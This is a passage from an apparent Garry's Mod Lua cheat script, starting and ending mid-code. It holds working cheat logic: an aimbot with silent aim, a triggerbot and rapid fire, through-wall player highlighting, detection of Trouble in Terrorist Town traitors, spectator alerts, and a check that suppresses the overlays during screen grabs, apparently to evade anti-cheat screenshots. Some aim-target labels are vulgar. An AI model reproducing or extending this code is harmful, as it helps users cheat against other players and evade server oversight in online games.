  1836.        
  1837.         if( !MS.Settings.Visuals.rainbow and MS.UpdatePropCol ) then
  1838.                 MS.Colours.PropChamsColour = Color( MS.Settings.Visuals.PropR, MS.Settings.Visuals.PropG, MS.Settings.Visuals.PropB, MS.Settings.Visuals.PropA )
  1839.                 MS.UpdatePropCol = false
  1840.         end
  1841.        
  1842.         if( MS.Settings.Visuals.rainbow ) then
  1843.                 MS.Colours.Col = HSVToColor( CurTime() *MS.Settings.Visuals.rainbowmult*10 %360, 1, 1 )
  1844.                 MS.Colours.PropChamsColour = InvertColour( MS.Colours.Col )
  1845.                 if( MS.UpdatePropCol ) then
  1846.                         MS.UpdatePropCol = false
  1847.                 end
  1848.                 if( MS.UpdateCol ) then
  1849.                         MS.UpdateCol = false
  1850.                 end
  1851.         end
  1852.        
  1853.         if( #MS.Tracked > 0 ) then
  1854.                 if( LocalPlayer():GetObserverTarget() ) then
  1855.                         MS.Start = LocalPlayer():GetObserverTarget():GetShootPos() + LocalPlayer():GetObserverTarget():GetAimVector() * 100 - Vector( 0, 0, 30 )
  1856.                 end
  1857.         end
  1858.        
  1859.         if( MS.Settings.Visuals.crosshair ) then
  1860.                 if( LocalPlayer():GetEyeTrace().Entity:IsPlayer() ) or ( LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then            
  1861.                         if( MS.Settings.Visuals.playerchams and !LocalPlayer():GetEyeTrace().Entity:IsNPC() ) then
  1862.                                 if( MS.Settings.Visuals.teamcolours ) then
  1863.                                         MS.Colours.CrosshairCol = InvertColour( team.GetColor( LocalPlayer():GetEyeTrace().Entity:Team() ) )
  1864.                                 else
  1865.                                         MS.Colours.CrosshairCol = InvertColour( MS.Colours.Col )
  1866.                                 end                            
  1867.                         else
  1868.                                 MS.Colours.CrosshairCol = MS.Colours.red
  1869.                         end                    
  1870.                 elseif( MS.Settings.Visuals.propchams and IsValid( LocalPlayer():GetEyeTrace().Entity ) ) and ( table.HasValue( MS.ChamTable, LocalPlayer():GetEyeTrace().Entity ) ) then
  1871.                         if( MS.Settings.Visuals.rainbow ) then
  1872.                                 MS.Colours.CrosshairCol = MS.Colours.Col
  1873.                         else
  1874.                                 MS.Colours.CrosshairCol = InvertColour( MS.Colours.PropChamsColour )
  1875.                         end
  1876.                 else
  1877.                         MS.Colours.CrosshairCol = HSVToColor( CurTime()*( MS.Settings.Visuals.crosshairspeed *15 ) % 360, 1, 1 )
  1878.                 end
  1879.                
  1880.                 MS.CHOutterPos1 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *30, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *30, 0 )
  1881.                 MS.CHOutterPos2 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1882.                 MS.CHOutterPos3 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *30, 0 )
  1883.                 MS.CHOutterPos4 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
  1884.                 MS.CHOutterPos5 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *30, 0 )
  1885.                 MS.CHOutterPos6 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1886.                 MS.CHOutterPos7 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *30, 0 )
  1887.                 MS.CHOutterPos8 = Vector( ScrW() /2 + math.sin( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )              
  1888.                 MS.CHMidPos1 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1889.                 MS.CHMidPos2 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed ) *20, 0 )
  1890.                 MS.CHMidPos3 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1891.                 MS.CHMidPos4 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *20, 0 )
  1892.                 MS.CHMidPos5 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1893.                 MS.CHMidPos6 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *20, 0 )
  1894.                 MS.CHMidPos7 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1895.                 MS.CHMidPos8 = Vector( ScrW() /2 + math.sin( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, ScrH() /2 + math.cos( CurTime()*-MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *20, 0 )              
  1896.                 MS.CHInnerPos1 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *0, 0 )
  1897.                 MS.CHInnerPos2 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed ) *10, 0 )
  1898.                 MS.CHInnerPos3 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *0, 0 )
  1899.                 MS.CHInnerPos4 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *2 ) ) *10, 0 )
  1900.                 MS.CHInnerPos5 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *0, 0 )
  1901.                 MS.CHInnerPos6 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *3 ) ) *10, 0 )
  1902.                 MS.CHInnerPos7 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *0, 0 )
  1903.                 MS.CHInnerPos8 = Vector( ScrW() /2 + math.sin( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, ScrH() /2 + math.cos( CurTime() *MS.Settings.Visuals.crosshairspeed + ( math.pi /2 *5 ) ) *10, 0 )
  1904.         end
  1905.        
  1906.         if( MS.Settings.Visuals.Text.velocity or MS.Settings.Visuals.Text.topvelocity and LocalPlayer():Health() >0 ) then
  1907.                 MS.CurrentSpeed = math.Round( LocalPlayer():GetVelocity():Length() )
  1908.         end
  1909.        
  1910.         if( #player.GetAll() <2 and #MS.Isolated >0 ) then    
  1911.                 MS.Isolated = {}
  1912.         end
  1913.  
  1914.         if( MS.Settings.Visuals.traitor and gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) then
  1915.                 for k,v in pairs( player.GetAll() ) do
  1916.                         if!( v !=LocalPlayer() and v.GetRole and v:GetRole() !=ROLE_DETECTIVE and v:GetActiveWeapon() and v:GetActiveWeapon().CanBuy and table.HasValue( v:GetActiveWeapon().CanBuy, ROLE_TRAITOR ) and #v:GetActiveWeapon().CanBuy == 1 and !table.HasValue( MS.Traitors, v ) and !table.HasValue( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() ) ) then continue end
  1917.                         if( MS.DetectingTs ) then
  1918.                                 table.insert( MS.Traitors, v )
  1919.                                 chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) )
  1920.                                 RCC( "play", "ambient/alarms/klaxon1.wav" )
  1921.                                 timer.Simple( 0.5, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1922.                                 timer.Simple( 1, function() RCC( "play", "ambient/alarms/klaxon1.wav" ) end )
  1923.                         else
  1924.                                 table.insert( MS.SpawnedWithTraitorWeapons, v:GetActiveWeapon():GetPrintName() )
  1925.                                 chat.AddText( MS.Colours.green, string.upper( v:Nick() ) .. " PULLED OUT TRAITOR WEAPON " .. string.upper( v:GetActiveWeapon():GetPrintName() ) .. " BEFORE TRAITORS WERE PICKED, ADDED TO IGNORE LIST" )
  1926.                         end
  1927.                 end    
  1928.                 for k,v in pairs( MS.Traitors ) do
  1929.                         if( team.GetName( v:Team() ) != "Spectators" ) then continue end
  1930.                         table.remove( MS.Traitors, k )                  
  1931.                 end
  1932.         end
  1933.        
  1934.         if( MS.Cannoning and input.IsKeyDown( 36 ) ) then
  1935.                 RCC( "gmod_cleanup" )
  1936.         end
  1937.                
  1938.         if( MS.SetNoVis ) then
  1939.                 for k,v in pairs( MS.PropChamClasses ) do
  1940.                         for k2, v2 in pairs( ents.FindByClass( v ) ) do
  1941.                                 v2:SetNoDraw( true )
  1942.                                 v2.NoDraw = true
  1943.                         end
  1944.                 end
  1945.                 MS.SetNoVis = false
  1946.         elseif( MS.ResetVis ) then
  1947.                 for k,v in pairs( ents.GetAll() ) do
  1948.                         v:SetNoDraw( false )
  1949.                         v.NoDraw = nil
  1950.                 end
  1951.                 MS.ResetVis = false
  1952.         end
  1953.        
  1954.         for k,v in pairs( player.GetAll() ) do
  1955.                 if( v:GetObserverTarget() and v != LocalPlayer() and v:GetObserverTarget() == LocalPlayer() and !table.HasValue( MS.Spectators, v ) ) then
  1956.                         RCC( "play", "vo/announcer_alert.wav" )
  1957.                         chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " Started Spectating you!" )
  1958.                         table.insert( MS.Spectators, v )
  1959.                 end
  1960.         end
  1961.        
  1962.         for k,v in pairs( MS.Spectators ) do
  1963.                 if( !IsValid( v ) ) then table.remove( MS.Spectators, k ) continue end
  1964.                 if( !v:GetObserverTarget() or ( v:GetObserverTarget() and v:GetObserverTarget() != LocalPlayer() ) ) then
  1965.                         chat.AddText( MS.Colours.blue, v:Nick(), MS.Colours.red, " stopped spectating you." )
  1966.                         RCC( "play", "bot/clear3.wav" )
  1967.                         table.remove( MS.Spectators, k )
  1968.                 end
  1969.         end
  1970.        
  1971.         if( MS.Settings.Visuals.playerleader or MS.Settings.Visuals.propleading ) then
  1972.                 for k,v in pairs( MS.Props ) do
  1973.                         local RealProp = ents.GetByIndex( k )
  1974.                         if( !IsValid( RealProp ) or RealProp:GetVelocity():Length() <1000 )then
  1975.                                 MS.Props[ k ]:Remove()
  1976.                                 MS.Props[ k ] = nil
  1977.                         else
  1978.                                 local PpDistance
  1979.                                 if( IsValid( LocalPlayer():GetEyeTrace().Entity ) and ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) ) then
  1980.                                         PpDistance = LocalPlayer():GetEyeTrace().Entity:GetPos():Distance( RealProp:GetPos() )
  1981.                                 elseif RealProp:GetClass() == "prop_physics" then
  1982.                                         PpDistance = 6000
  1983.                                 else
  1984.                                         PpDistance = LocalPlayer():GetShootPos():Distance( RealProp:GetPos() )
  1985.                                 end
  1986.                                 local trace = util.TraceLine( { start = RealProp:GetPos(), endpos = RealProp:GetPos() + RealProp:GetVelocity() * ( PpDistance / 13000 ), filter = { RealProp, FakeProp }, mask = MASK_SHOT } )
  1987.                                 MS.Props[ k ]:SetPos( trace.HitPos )
  1988.                                 MS.Props[ k ]:SetAngles( RealProp:GetAngles() )
  1989.                                 MS.Props[ k ]:SetColor( MS.Colours.PropChamsColour )
  1990.                         end
  1991.                 end
  1992.         end
  1993. end
  1994. HKA( "Think", "Think", Think )
  1995.  
  1996. local function AimMove( cmd )
  1997.         if( !MS.Settings.Aimbot.enabled or IsInSpawn( LocalPlayer():GetPos() ) ) then return end
  1998.        
  1999.         if( !IsValid( MS.TargetPly ) ) then
  2000.                 if( MS.Settings.Aimbot.silent and MS.SnapBack2 and GetSuitableTarget() == nil ) then
  2001.                         cmd:SetViewAngles( MS.SilentAimAngle )
  2002.                         MS.UpdateSilentAngle = true
  2003.                         MS.SnapBack2 = false
  2004.                 end
  2005.                 if( MS.NextSnap < CurTime() ) then
  2006.                         MS.TargetPly = GetSuitableTarget()
  2007.                 end
  2008.         end
  2009.        
  2010.         if( IsValid( MS.TargetPly ) and !IsVisible( MS.TargetPly ) ) then
  2011.                 if( MS.Settings.Aimbot.silent ) then
  2012.                         MS.UpdateSilentAngle = true
  2013.                         MS.SnapBack = true
  2014.                         MS.SnapBack2 = true
  2015.                 end            
  2016.                 if( MS.NextSnap < CurTime() ) then
  2017.                         MS.TargetPly = GetSuitableTarget()
  2018.                 end
  2019.         end    
  2020.        
  2021.         if( IsValid( MS.TargetPly ) )then
  2022.                 if( MS.TargetPly:Health() <=0 ) then          
  2023.                         if( MS.Settings.Aimbot.silent ) then                  
  2024.                                 MS.SilentAimAngle.p = math.NormalizeAngle( MS.SilentAimAngle.p )
  2025.                                 MS.SilentAimAngle.y = math.NormalizeAngle( MS.SilentAimAngle.y )
  2026.                                 if( MS.SnapBack ) then
  2027.                                         cmd:SetViewAngles( MS.SilentAimAngle )
  2028.                                         MS.UpdateSilentAngle = true
  2029.                                         MS.SnapBack = false
  2030.                                         MS.SnapBack2 = true
  2031.                                 end
  2032.                         end    
  2033.                         if( MS.NextSnap < CurTime() ) then
  2034.                                 MS.TargetPly = GetSuitableTarget()
  2035.                         end
  2036.                 end
  2037.                
  2038.                 if( MS.TargetPly and MS.TargetPly:Health() >0 ) then
  2039.                         if( MS.UpdateSilentAngle ) then
  2040.                                 MS.SilentAimAngle = LocalPlayer():EyeAngles()
  2041.                                 MS.UpdateSilentAngle = false
  2042.                         end
  2043.                         local LEA = LocalPlayer():EyeAngles()
  2044.                         local AimPos
  2045.                         local AimAngle
  2046.                        
  2047.                         if( MS.Settings.Aimbot.AimFor == "POW RIGHT IN THE KISSER" ) then
  2048.                                 MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Head1" )
  2049.                         elseif( MS.Settings.Aimbot.AimFor == "Nipples" ) then
  2050.                                 MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_Spine2" )
  2051.                         elseif( MS.Settings.Aimbot.AimFor == "RIGHT IN THE PUSSY" ) then
  2052.                                 MS.AimBone = MS.TargetPly:LookupBone( "valvebiped.bip01_pelvis" )
  2053.                         elseif( MS.Settings.Aimbot.AimFor == "Left Kneecap" ) then
  2054.                                 MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_L_Calf" )
  2055.                         elseif( MS.Settings.Aimbot.AimFor == "Right Kneecap" ) then
  2056.                                 MS.AimBone = MS.TargetPly:LookupBone( "ValveBiped.Bip01_R_Calf" )
  2057.                         end
  2058.                        
  2059.                         if( MS.AimBone ) then
  2060.                                 AimPos = MS.TargetPly:GetBonePosition( MS.AimBone ) - LocalPlayer():GetShootPos()
  2061.                         elseif( MS.TargetPly.GetShootPos ) then
  2062.                                 AimPos = ( MS.TargetPly:GetShootPos() - Vector( 0, 0, 20 ) ) - LocalPlayer():GetShootPos()
  2063.                         elseif( MS.TargetPly:IsNPC() ) then
  2064.                                 AimPos = ( MS.TargetPly:GetPos() ) - LocalPlayer():GetShootPos()
  2065.                         else
  2066.                                 AimPos = ( MS.TargetPly:GetPos() - Vector( 0, 0, 40 ) ) - LocalPlayer():GetShootPos()
  2067.                         end
  2068.                        
  2069.                     AimPos = AimPos + ( ( MS.TargetPly:GetVelocity():GetNormal() *0.00672724 ) - ( LocalPlayer():GetVelocity():GetNormal() *0.0087775 ) )
  2070.  
  2071.                         AimPos = AimPos:Angle()
  2072.                        
  2073.                         if( MS.Settings.Aimbot.aimsmoothon ) then
  2074.                                 LEA.p = math.ApproachAngle( LEA.p, AimPos.p, MS.Settings.Aimbot.aimsmooth /20 )
  2075.                                 LEA.y = math.ApproachAngle( LEA.y, AimPos.y, MS.Settings.Aimbot.aimsmooth /20 )
  2076.                         else
  2077.                                 LEA = AimPos
  2078.                         end
  2079.                        
  2080.                         LEA.p = math.NormalizeAngle( LEA.p )
  2081.                         LEA.y = math.NormalizeAngle( LEA.y )
  2082.                        
  2083.                         cmd:SetViewAngles( LEA )                      
  2084.  
  2085.                         MS.NextSnap = CurTime() +MS.Settings.Aimbot.snapwait                  
  2086.                        
  2087.                         if( MS.Settings.Aimbot.silent ) then
  2088.                                 if( MS.SilentAimPingAdjust >MS.Settings.Aimbot.snapwait ) then
  2089.                                         MS.NextSnap = CurTime() +MS.SilentAimPingAdjust
  2090.                                 end
  2091.                                 if( MS.SilentAimPingAdjust +MS.Settings.Aimbot.snapwait <0.05 ) then
  2092.                                         MS.NextSnap = CurTime() +0.05
  2093.                                 end
  2094.                         end    
  2095.                 end
  2096.         end
  2097. end
  2098. HKA( "CreateMove", "AimMove", AimMove )
  2099.  
  2100. local function SpamMove( c )
  2101.        
  2102.         if( MS.Settings.TriggerBot.rapidfire and LocalPlayer():KeyDown( 1 ) and IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():GetActiveWeapon():GetClass() != "weapon_physgun" ) then
  2103.                 c:RemoveKey( 1 )      
  2104.         end
  2105.        
  2106.         if( MS.RopeSpamming ) then
  2107.                 c:SetViewAngles( Angle( math.Rand( -45, 10 ), math.Rand( -360, 360 ), 0 ) )    
  2108.                 if( LocalPlayer():KeyDown( 2048 ) ) then      
  2109.                         c:RemoveKey( 2048 )
  2110.                 end
  2111.         end
  2112.          
  2113.         if( MS.TorchSpamming ) then
  2114.                 RCC( "impulse", "100" )
  2115.         elseif( MS.TorchShutoffTimer < CurTime() and LocalPlayer():FlashlightIsOn() ) then
  2116.                 RCC( "impulse", "100" )
  2117.                 LogMsg( "DEACTIVATING TORCH" )
  2118.                 MS.TorchShutoffTimer = CurTime() +0.15 + ( LocalPlayer():Ping() /500 )
  2119.         end
  2120.  
  2121.         if( MS.Settings.AutoStrafe and !LocalPlayer():OnGround() and LocalPlayer():GetMoveType() == MOVETYPE_WALK ) then
  2122.                 if c:GetMouseX() <0 then
  2123.                         c:SetSideMove( -100 )
  2124.                 elseif c:GetMouseX() >0 then
  2125.                         c:SetSideMove( 100 )
  2126.                 end
  2127.         end
  2128.        
  2129.         if( MS.Settings.TriggerBot.enabled ) then
  2130.                 local DiffX, DiffY            
  2131.                 if( MS.TargetPly ) then
  2132.                         DiffX, DiffY = GetFOV( MS.TargetPly )
  2133.                 end            
  2134.                 if( ( MS.TargetPly and ( DiffX <3 and DiffY <3 ) ) or ( LocalPlayer():GetEyeTrace().Entity != LocalPlayer() and !IsInSpawn( LocalPlayer():GetEyeTrace().Entity:GetPos() ) and LocalPlayer():GetEyeTrace().Entity:Health() >0 and IsValid( LocalPlayer():GetActiveWeapon() ) and !table.HasValue( MS.TriggerbotBlacklist, LocalPlayer():GetActiveWeapon():GetClass() ) and ( ( LocalPlayer():GetEyeTrace().Entity:IsPlayer() and !LocalPlayer():GetEyeTrace().Entity:GetObserverTarget() and !table.HasValue( MS.Friends, LocalPlayer():GetEyeTrace().Entity ) and ( ( MS.Settings.Aimbot.ignorefriends and LocalPlayer():GetEyeTrace().Entity:GetFriendStatus() != "friend" ) or !MS.Settings.Aimbot.ignorefriends ) ) or ( MS.Settings.Aimbot.targetnpcs and LocalPlayer():GetEyeTrace().Entity:IsNPC() ) ) and ( ( MS.Settings.TriggerBot.onlyaim and MS.Settings.Aimbot.enabled ) or !MS.Settings.TriggerBot.onlyaim ) ) ) then
  2135.                         if( !MS.IsFiring ) then
  2136.                                 c:SetButtons( bit.bor( c:GetButtons(), IN_ATTACK ) )          
  2137.                                 MS.IsFiring = true
  2138.                         else
  2139.                                 c:SetButtons( bit.band( c:GetButtons(), bit.bnot( IN_ATTACK ) ) )                      
  2140.                                 MS.IsFiring = false
  2141.                         end
  2142.                 end
  2143.         end
  2144. end
  2145. HKA( "CreateMove", "SpamMove", SpamMove )
  2146.  
  2147. //entitylock
  2148. local function DrawPhysgunBeam( ply, physgun, enabled, target, bone, hitpos )
  2149.         if( !IsValid( target ) or ply != LocalPlayer() or MS.EntityLock == target ) then return end
  2150.         MS.EntityLock = target
  2151. end
  2152. HKA( "DrawPhysgunBeam", "DoPhysBeamShit", DrawPhysgunBeam )
  2153.  
  2154. local function MSHUDPaint()
  2155.         if( MS.ScreenGrab ) then return end
  2156.  
  2157.         cam.Start3D()  
  2158.                 cam.IgnoreZ( true )
  2159.                 for k,v in pairs( player.GetAll() ) do
  2160.                         if( !IsValid( v ) or v == LocalPlayer() or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( team.GetName( v:Team() ) == "Spectator" ) and ( gmod:GetGamemode().Name == "Propkill v2.6" ) or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2161.  
  2162.                         local Origin = v:GetPos() + Vector( 0, 0, 40 )
  2163.                         local pos = ( v:GetShootPos() + Vector( 0, 0, LocalPlayer():GetShootPos():Distance( v:GetShootPos() )/100 ) ):ToScreen()
  2164.                         local Col = MS.Colours.Col                    
  2165.                         if( MS.Settings.Visuals.teamcolours ) then
  2166.                                 Col = team.GetColor( v:Team() )
  2167.                         end                    
  2168.                         if( table.HasValue( MS.Traitors, v ) or table.HasValue( MS.HighPriority, v ) ) then
  2169.                                 Col = MS.Colours.traitorred
  2170.                         end
  2171.                        
  2172.                         if( MS.Settings.Visuals.boxes ) then
  2173.                                 render.DrawWireframeBox( v:GetPos(), v:GetAngles(), v:OBBMins(), v:OBBMaxs(), Col, true )
  2174.                         end
  2175.                        
  2176.                         if( MS.Settings.Visuals.headsmashball and IsValid( MS.EntityLock ) ) then
  2177.                                 local RadianConv = 180 / math.pi
  2178.                                 local AimEntPos = v:GetPos() + Vector( 0, 0, 70 )
  2179.                                 local OwnerPos = LocalPlayer():GetPos() + Vector( 0, 0, 70 )
  2180.                                 local PlayerTargetDist = math.Clamp( LocalPlayer():GetShootPos():Distance( v:GetShootPos() ) /30 , 20, 500 )                          
  2181.                                 local SinFunc = math.sin( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2182.                                 local CosFunc = math.cos( math.rad( 20 ) )*OwnerPos:Distance( AimEntPos )
  2183.                                 local Bearing2 = WorldToLocal( AimEntPos, Angle( 0, 0, 0 ), OwnerPos, Angle( 0, 0, 0 ) )
  2184.                                 local Bearing = ( RadianConv *-math.atan2( Bearing2.y, Bearing2.x ) ) *-1
  2185.                                 local Vec2 = Vector( CosFunc, 0, 0 )
  2186.                                 Vec2:Rotate( Angle( 0, Bearing, 0 ) )
  2187.                                 local OptimumPos = OwnerPos + Vector( Vec2.x, Vec2.y, SinFunc )
  2188.                                
  2189.                                 if( IsValid( LocalPlayer():GetActiveWeapon() ) and LocalPlayer():KeyDown( IN_ATTACK ) and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" )then
  2190.                                         local PDistance = MS.EntityLock:LocalToWorld( MS.EntityLock:OBBCenter() ):Distance( OptimumPos )/2
  2191.                                         MS.Colours.headsmashballcol = Color( math.Clamp( PDistance, 0, 255 ), ( math.Clamp( PDistance, 0, 255 ) *-1 ) +255, 0, 255 )
  2192.                                         render.SetMaterial( Material( "color" ) )                              
  2193.                                         render.DrawSphere( OptimumPos, PlayerTargetDist, 20, 20, MS.Colours.headsmashballcol )
  2194.                                 end
  2195.                         end
  2196.                 end
  2197.                
  2198.                 if( MS.Settings.Visuals.playerchams ) then
  2199.                         render.SetBlend( 1 )
  2200.                         render.MaterialOverride( Material( "models/debug/debugwhite" ) )      
  2201.                         render.SuppressEngineLighting( true )                  
  2202.                         if( MS.Settings.Visuals.playersuppressenginelighting ) then
  2203.                                 render.SuppressEngineLighting( false )
  2204.                         end
  2205.                         for k,v in pairs( player.GetAll() ) do
  2206.                                 if( v:Health() <=0 or ( #MS.Isolated >0 and !table.HasValue( MS.Isolated, v ) ) or ( MS.Settings.Visuals.savefps and IsOutOfFOV( v ) ) or( gmod:GetGamemode().Name == "Propkill v2.6" and team.GetName( v:Team() ) == "Spectator" ) or ( ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" ) and ( ( team.GetName( v:Team() ) == "Spectators" and team.GetName( LocalPlayer():Team() ) != "Spectators" ) or ( team.GetName( v:Team() ) != "Spectators" and team.GetName( LocalPlayer():Team() ) == "Spectators" ) ) ) ) then continue end
  2207.                                 local Col = MS.Colours.Col
  2208.  
  2209.                                 if( MS.Settings.Visuals.teamcolours ) then
  2210.                                         Col = team.GetColor( v:Team() )
  2211.                                 end
  2212.  
  2213.                                 if( table.HasValue( MS.Traitors, v ) ) then
  2214.                                         Col = MS.Colours.traitorred
  2215.                                 end
  2216.                                
  2217.                                 if( MS.Settings.Visuals.weaponchams and IsValid( v:GetActiveWeapon() ) ) then
  2218.                                         render.SetColorModulation( ( 255 -Col.r )/255, ( 255 -Col.g )/255, ( 255 -Col.b )/255 )
  2219.                                         v:GetActiveWeapon():DrawModel()
  2220.                                 end            
  2221.                                
  2222.                                 render.SetColorModulation( Col.r /255, Col.g /255, Col.b /255 )                
  2223.                                 v:DrawModel()
  2224.                         end
  2225.                         render.SuppressEngineLighting( false )
  2226.                 end
  2227.                 cam.IgnoreZ( false )
  2228.         cam.End3D()
  2229.  
  2230.         if( MS.Settings.Visuals.Text.velocity ) then
  2231.                 draw.SimpleTextOutlined( MS.CurrentSpeed, "DermaLarge", ScrW() /2, ScrH() /9, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2232.         end
  2233.  
  2234.         if( MS.Settings.Visuals.Text.topvelocity ) then
  2235.                 if MS.CurrentSpeed > MS.TopSpeed then
  2236.                         MS.TopSpeed = MS.CurrentSpeed
  2237.                 end    
  2238.                 draw.SimpleTextOutlined( MS.TopSpeed, "DermaLarge", ScrW() /2, ScrH() /7, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2239.         end
  2240.  
  2241.         if( MS.Settings.Visuals.Text.modelnames ) then
  2242.                 if IsValid( LocalPlayer():GetEyeTrace().Entity ) then
  2243.                         if( LocalPlayer():GetEyeTrace().Entity:GetClass() == "prop_physics" ) or ( LocalPlayer():GetEyeTrace().Entity:GetClass() == "gmod_button" ) then
  2244.                                 draw.SimpleTextOutlined( string.upper( LocalPlayer():GetEyeTrace().Entity:GetModel() ), "DermaLarge", ScrW() / 2 - 20, ScrH() - 100, MS.Colours.white, 1, 1, 2, MS.Colours.black )
  2245.                         end
  2246.                 end
  2247.         end
  2248.  
  2249.         if( MS.Settings.Visuals.playerleading or MS.Settings.Visuals.propleading ) then
  2250.                 MS.LeadingTable = {}
  2251.                 if( MS.Settings.Visuals.playerleading ) then
  2252.                         MS.LeadingTable = table.Copy( player.GetAll() )
  2253.                 end      
  2254.                 if( MS.Settings.Visuals.propleading ) then
  2255.                         MS.LeadingTable = table.Add( MS.LeadingTable, ents.FindByClass( "prop_physics" ) )
  2256.                 end      
